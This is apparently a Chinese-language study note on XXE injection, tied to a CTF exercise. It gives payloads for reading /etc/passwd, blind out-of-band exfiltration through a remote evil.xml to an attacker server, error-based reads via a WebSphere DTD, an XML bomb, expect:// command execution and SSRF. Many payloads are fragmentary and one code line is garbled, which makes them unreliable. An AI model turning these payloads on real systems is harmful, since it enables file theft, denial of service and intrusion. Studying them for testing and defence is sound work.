XXE记录
特征:1.url是.ashx后缀 2.响应体是xml
XML
XML,一种可拓展标记语言,被用来传输和存储数据(宗旨是传输数据)。标签没有被预定义,需要自行定义标签。
格式:第一部分为XML声明、第二部分为文档类型定义、第三部分为文档元素
]>
&cat; 18 '''DTD
DTD(文档类型定义),作用是定义XML文档的合法构建模块。DTD可以在XML文档内部声明,也可以外部引用。
内部声明DTD
引用外部DTD
或
XXE
XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。
漏洞利用
1、有回显读取本地文件
通过上传带有!ENTITY,指向外部文件的XML文件,DTD中定义了xxe的外部实体,在元素name中处罚,并渲染内容/etc/passwd
&nn;
import requests
url = “http://node2.anna.nssctf.cn:28487/ghctf”
xml = ‘’'<?xml version="1.0"?>
]>
&nn; 18 '''response = requests.post(url, data={“xml”: xml})
print(rsponse.text)
2、无回显加载远程DTD
无回显的文件读取可以通过blind XXE方法+外带数据通道(OOB)来提取数据。
(也可以使用网站进行测试:http://ceye.io/payloads)
%remote;]>
先使用php://filter获取目标文件内容,然后将内容以http请求发送到接收数据的服务器来读取数据。
%dtd请求远程服务器(攻击机)上的evil.xml,然后%payload调用%file,%file获取对方服务器上的敏感文件,最后替换%send,数据被发送到攻击机上,实现数据的外带
%dtd;
%send;
]>
服务器端evil.xml
//%号要进行实体编码成%
下面是两种或无回显的模板可以参考
%dtd; %all;
]>
&send;
evil.xml文件内容为:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>"> <?xml version="1.0" encoding="utf-8"?> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">%dtd;
%send;
]>
evil.xml文件内容为:
3、无回显加载本地DTD
如果目标有防火墙等设备,不允许外连,可以采用基于错误回显的xxe,其中最流行的一种就是加载本地DTD文件。
<!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval "
<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ENTITY aa (bb'>
%local_dtd;
]>
any text
/opt/IBM/Websphere/AppServer/properties/sip-app10.dtd 是websphere上默认存在的dtd,可以通过加载它触发报错返回读取文件的内容。
4、Dos攻击
xml炸弹,当xml解析器尝试解析改文件时,由于DTD的定义指数级展开,这个1k不到的文件会占用3G左右的内存。
]>
&lol9;
5、命令执行
在php环境下,xml实现命令执行需要php装有expect拓展(默认没装)。
测试代码:
]>
&f;
EOF;
d a t a = s i m p l e x m l l o a d s t r i n g ( data = simplexml_load_string( data=simplexmlloadstring(xml);
print_r($data);
?>
payload:
<!ENTITY xxe SYSTEM "expect://pwd">
]>
&xxe;
6、SSRF
通常触发点在ENTITY实体中
payload:
%ssrf;
]>